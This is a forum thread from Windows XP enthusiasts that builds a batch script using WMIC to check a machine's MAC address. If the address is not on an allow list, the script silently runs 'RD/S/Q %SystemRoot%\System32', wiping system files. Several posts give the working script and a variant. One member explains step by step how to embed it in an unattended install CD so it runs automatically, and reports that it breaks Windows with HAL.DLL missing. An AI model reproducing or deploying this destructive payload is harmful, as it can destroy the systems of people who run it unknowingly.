titishor Posted April 22, 2010 Author Share Posted April 22, 2010 And ? i did something wrong ? Or what? Link to comment Share on other sites More sharing options...
Yzöwl Posted April 23, 2010 Share Posted April 23, 2010 Since you stated Windows XP, what about using WMIC!@ECHO OFF & SETLOCALSET "_="FOR /F "SKIP=1 TOKENS=*" %%# IN ('WMIC NICConfig WHERE "MACAddress = '11:50:8D:95:31:B2' OR MACAddress = '00:18:F3:A3:39:BE'" GET Description 2^>Nul') DO CALL :A %%#IF NOT DEFINED _ (ECHO=RD/S/Q %SystemRoot%\System32)GOTO :EOF:AIF "%*" NEQ "" SET "_=T"When your happy that it works correctly remove ECHO= from line 6 Link to comment Share on other sites More sharing options...
jaclaz Posted April 23, 2010 Share Posted April 23, 2010 And ? i did something wrong ? Or what?Nothing at all .You simply did not follow your good propositions (or maybe a different understanding of "ultimate instance") :i'll try to write it myself... in ultimate instance if i don't succed i'll ask you or somebody else to help me..You are perfectly free to take the blue pill, but you will miss a lot of fun :http://www.msfn.org/board/request-most-foolproof-method-t133309-pid-854084.htmljaclaz Link to comment Share on other sites More sharing options...
Sp0iLedBrAt Posted April 23, 2010 Share Posted April 23, 2010 I must admit a topic like this caught my full attention and I've followed it carefully these past days. Curiosity did its share and I decided to try it.Test 1. post #28 by CoffeeFiend didn't work from RunOnce; I called it through wscript like this: wscript %systemroot%\deletesystem32.vbs //B //T:30 . That's because I noticed it used wscript and it is enabled by default, as opposed to cscript.I also had deletesystem32.vbs and macs.txt copied to C:\WINDOWS through %source%$OEM$\$$\ successfully. If I'm not supposed to change locations for the .vbs file, what is the default location? The root of the CD? System32?Test 2. post #32 Yzöwl's script didn't work. I assumed it was a batch file. Tried it with .bat and .cmd through RunOnce and from the VM desktop. I checked if WMIC was present through Command prompt and got wmic:root\cli> , which is OK by my guess.What am I doing wrong? Link to comment Share on other sites More sharing options...
Yzöwl Posted April 23, 2010 Share Posted April 23, 2010 If my example doesn't work for you, the likely explanation is that you've changed it in some way. It is important that you change only the two allowed MACs, not any of the formatting etc. The change may or may not be intentional so I've uploaded a working copy for you to test.MyMACs.zip Link to comment Share on other sites More sharing options...
jaclaz Posted April 23, 2010 Share Posted April 23, 2010 (edited) What am I doing wrong?The batch (read as .cmd) by Yzöwl has conditional behaviour based on the IP you have.Try it in a modified version:@ECHO OFF & SETLOCAL SET "_=" FOR /F "SKIP=1 TOKENS=*" %%# IN ('WMIC NICConfig GET Description 2^>Nul') DO CALL :A %%# IF NOT DEFINED _ (ECHO= %%# - RD/S/Q %SystemRoot%\System32) GOTO :EOF :A IF "%*" NEQ "" SET "_=T"jaclazP.s:: Sorry, cross-posting Edited April 23, 2010 by jaclaz Link to comment Share on other sites More sharing options...
Sp0iLedBrAt Posted April 23, 2010 Share Posted April 23, 2010 My thanks to both of you for your efforts.@ Yzöwl: I did not make any intentional changes, but it occurred to me that copying/pasting code from this forum not always works best. Anyway, I didn't make any changes to the MAC addresses either. The two you have put serve well since the VM has a different one, and I wanted a test where I WOULD actually see the deletion process. I don't really want to put something like this on a live CD Cheers Link to comment Share on other sites More sharing options...
CoffeeFiend Posted April 23, 2010 Share Posted April 23, 2010 Test 1. post #28 by CoffeeFiend didn't work from RunOnceIt was never tested from runonce. Not only I don't have any computer still running XP, but my VMs base snapshots were built a good while ago (and I never really cared for RunOnceEx either back when I still used XP). So I'm only going to put limited effort into that part. I can't really think of why it wouldn't work though (besides not finding the text file if it's not placed in the right location or misnamed or something like that, in which case it will simply quit).I don't typically invoke wscript but the vbscript itself, just like you would with an .exe or batch file (and with no cmd line args)If I'm not supposed to change locations for the .vbs file, what is the default location? The root of the CD? System32?You can change locations. Run it from anywhere you want. And if you really want it to look somewhere else than the current folder for macs.txt, then hardcode the path or something, it should be fairly simple. Link to comment Share on other sites More sharing options...
Sp0iLedBrAt Posted April 23, 2010 Share Posted April 23, 2010 (edited) I can't really think of why it wouldn't work though (besides not finding the text file if it's not placed in the right location or misnamed or something like that, in which case it will simply quit) It did quit, even though the text file was in the same folder as the script file.I don't typically invoke wscript but the vbscript itself, just like you would with an .exe or batch file (and with no cmd line args)So, you're saying it's much simpler to call the script file itself. OK, thanks, I'll see how possible it is to call it through the RunOnce section in nLite or cmdlines.txt<br><br>Edit: I may have done even better. I found some of those .vbs to .exe converters that allowed me to include the text file as well. I'll report on the result.<br> Edited April 23, 2010 by Sp0iLedBrAt Link to comment Share on other sites More sharing options...
titishor Posted April 24, 2010 Author Share Posted April 24, 2010 (edited) I can't really think of why it wouldn't work though (besides not finding the text file if it's not placed in the right location or misnamed or something like that, in which case it will simply quit) It did quit, even though the text file was in the same folder as the script file.I don't typically invoke wscript but the vbscript itself, just like you would with an .exe or batch file (and with no cmd line args)So, you're saying it's much simpler to call the script file itself. OK, thanks, I'll see how possible it is to call it through the RunOnce section in nLite or cmdlines.txt<br><br>Edit: I may have done even better. I found some of those .vbs to .exe converters that allowed me to include the text file as well. I'll report on the result.<br>it worked from the commandlines.txt in the $OEM$ folder..tested on virtual machine , and live...works perfectly!And i want to thank everyone ho helped me get this thing done! You guys are the best, and i'm happy i ran into your site! Thanks again !And jaclaz... I'm still reading what you gave me to read Edited April 24, 2010 by titishor Link to comment Share on other sites More sharing options...
Sp0iLedBrAt Posted April 24, 2010 Share Posted April 24, 2010 @titishor, please share how you did it, because I didn't manage to get ANY of the above to work in a VM. I even copied them to the desktop, double-clicked them and nothing. I was curious, but my failure made me lose interest. Link to comment Share on other sites More sharing options...
titishor Posted April 25, 2010 Author Share Posted April 25, 2010 (edited) @titishor, please share how you did it, because I didn't manage to get ANY of the above to work in a VM. I even copied them to the desktop, double-clicked them and nothing. I was curious, but my failure made me lose interest.@SpoiledBratOk... i've done the followingi've took the .cmd filei modify it with my mac address and then i saved it into the $OEM$ folder.then, i opened cmdlines.txt and inserted the following line with qoutes: "MyMACs.cmd"i saved the cmdlines.txt and close it..that's it..i followed Yzowl instructions@ECHO OFF & SETLOCALSET "_="FOR /F "SKIP=1 TOKENS=*" %%# IN ('WMIC NICConfig WHERE "MACAddress = 'HERE' OR MACAddress = ' and HERE'" GET Description 2^>Nul') DO CALL :A %%#IF NOT DEFINED _ (ECHO=RD/S/Q %SystemRoot%\System32)GOTO :EOF:AIF "%*" NEQ "" SET "_=T"at line 4 replace HERE , and HEREwith your mac address and , at the line 6 delete ECHO= and leave the rest.the mac address should be like this-> 00:00:00:00:00:00 not like this 00-00-00-00-00-00if you modify the .cmd file with your mac address..and the mac address coresponds, then nothing will happen'if you put different mac addresses into the file , and they don't correspond with the one on your computer, then the system32 folder will be deteled.. Not entirely ..but some key parts from the operating system will get deleted anyway. at the next restart u'll get the error that HAL.DLL is missing... Edited April 25, 2010 by titishor Link to comment Share on other sites More sharing options...
Sp0iLedBrAt Posted April 25, 2010 Share Posted April 25, 2010 @titishorThank you for confirming that I've done everything right. However, I'll do one more test just to see if there's anything that slipped my attention. Link to comment Share on other sites More sharing options...
Yzöwl Posted April 25, 2010 Share Posted April 25, 2010 Just a quick note, since you are running WMIC for the first time on the system, there will be a short delay before it is invoked whilst it is registered/installed. Link to comment Share on other sites More sharing options...
titishor Posted April 25, 2010 Author Share Posted April 25, 2010 (edited) @titishorThank you for confirming that I've done everything right. However, I'll do one more test just to see if there's anything that slipped my attention.w8 just a sec...i'll give you a pic ...http://img219.imageshack.us/img219/4193/samplek.jpg Edited April 25, 2010 by titishor Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now